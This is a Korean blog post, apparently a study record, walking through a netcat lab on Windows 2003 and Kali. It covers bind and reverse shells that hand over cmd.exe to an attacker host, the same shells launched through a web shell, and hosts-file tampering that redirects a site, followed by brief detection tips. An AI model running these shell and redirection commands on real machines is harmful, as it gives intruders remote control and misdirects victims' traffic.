처음 만나는 클라우드 보안

백도어(backdoor) 트로이목마(Trojan horse) 해킹 실습 본문

정보보안

백도어(backdoor) 트로이목마(Trojan horse) 해킹 실습

영민하게 2022. 5. 11. 17:52
반응형

이번 포스팅에선 네트워크 해킹에 사용되는 넷캣에 대해 알아보고,

이를 이용한 백도어, 트로이목마를 직접 구현해본다.

 

1. 개념정리

 - 넷캣(Netcat, nc)

: TCP/IP나 UDP프로토콜을 사용하는 네트워크의 연결을 읽고 쓰는데 사용되는 유틸리티, 일종의 RAT(Remote Access Trojan)으로 네트워크 기능이 포함된 실행파일(nx.exe)을 뜻한다. 54kb가량의 작은 용량으로 대부분의 운영체제에서 쉽게 구동이 가능하고, 웹쉘(Webshell)에서 구현하기 어려운 기능들도 수행 가능하다. 백도어(Backdoor) 그리고 트로이 목마(Trojan)의 해킹둘로 사용 될 수 있다.

 

[넷캣 다운로드, 리눅스용] https://sourceforge.net/projects/nc110/

 

Netcat

Download Netcat for free. Memorial of original *Hobbit*'s version 1.10 of netcat tool. nc is a Swiss Army knife utility to write and read data across TCP and UDP network connections.

sourceforge.net

 

 

 - 백도어(Backdoor) VS 트로이목마(Trojan horse)

 

: 백도어의 경우, 공격대상이 서버로서 가용한 포트를 열어두고 공격자의 침입을 받는 반면, 트로이 목마는 공격자가 서버로서 공격대상의 접속을 유도한다. 백도어에선 공격자가 외부에서 접근하기 떄문에, 대부분 방화벽에서 차단되어 악성코드 중 활용도가 낮다. 트로이목마의 경우, 공격자는 서버의 역할로 공격대상의 방화벽은 무력화된다. 트로이목마는 전체 악성코드 유형의 70%를 차지할 정도로 가용성이 높은 해킹기법이다.

Backdoor와 Trojan 도식화

2. 백도어 실습

1단계) Victim: Win2003 server

cmd > cd \

cmd > dir

cmd > nc -l -p 8000 -e cmd.exe 

//  -l:listening(서버모드), -p: port, -e:binary --> 8000포트를 열고 대기, 접근시 작동 권한을 부여한다.

 

2단계) Attacker: Kali Linux

$sudo nc [victim의 IP주소] 8000  // victim에서 열어놓은 port로 접근, 이 후 아래와 같은 다양한 명령어 수행 가능

C:\>cd docu*

C:\>cd adm*

C:\>cd my* // 내문서

C:\>cd docu*

 

 

3. 트로이 목마 실습

 

1단계) Attacker: Kali

$sudo nc -l -p 8000   // 8000번 포트를 열고 대기한다 (서버모드)

 

2단계) Victim: Win2003

cmd>nc 192.168.5.130 8000 -e cmd.exe

공격대상이 공격자 8000번 포트에 접속한 모습

접속 후 다양한 명령어 사용이 가능하다. 그 중 호스트의 서버 접속 전 DNS서버 보다 먼저 IP주소를 검색하는 Hosts파일을 변조한다.

 

C:\WINDOWS\system32\drivers\etc>echo 223.130.195.200 instagram.com>>hosts  //hosts파일 변조

 

Instagram.com 접속은 공격자가 변조한 Naver로 연결된다


4. 백도어와 트로이 목마기법에 웹쉘 적용하기

 

웹쉘+백도어

 1단계) C:\nc -l -p 8000 -e cmd.exe  // 웹쉘을 통해 Victim 접근, 8000번  포트를 연다.

 2단계) Kali Linux(Attacker)에서 nc 192.168.5.131 8000 // 공격자 --> 공격대상 접근

Victim의 8000번포트에 대해서 웹쉘로 접근

 

Victim에 대한 8000번 포트 백도어 접근 성공

웹쉘+트로이목마

 

 1단계) Kali Linux(Attacker)에서 8000번 포트를 연다.

 2단계) C:\nc 192.168.5.129 8000 -e cmd.exe // 웹쉘을 통해 Victim을 공격자 서버로 접속시킨다.

          *Victim이 직접  접속하기 때문에 방화벽에 걸리지 않는다.

웹쉘을 통해 Victim을 공격자의 8000번포트에 대해서 웹쉘로 접근

 

공격자에 대한 Victim의 8000번 포트 접근 성공

 

5. 트로이목마의 탐지

기본적으로 netstat -an 명령어를 통해 수상한 연결을 찾을 수 있으며, Window의 탐지툴은 아래와 같다.

 

- Process exploer

해당 프로세스에 대해 오른쪽마우스 클릭 Kill로 강제종료 가능

- IceSword

의심스러운 연결을 표시해 탐지에 용이하다

 

 

참고자료

https://m.blog.naver.com/koromoon/221170367159

 

Netcat

( 1 ) 설명 Netcat 은 TCP 나 UDP 프로토콜을 사용하는 네트워크 연결에서 데이터를 읽고 쓰는 유틸...

blog.naver.com

 

본 게시물은 학습기록을 위한 포스팅입니다. 악의적인 목적으로 이용 시 발생할 수 있는 모든 법적 책임은 자신에게 있습니다.

반응형
Comments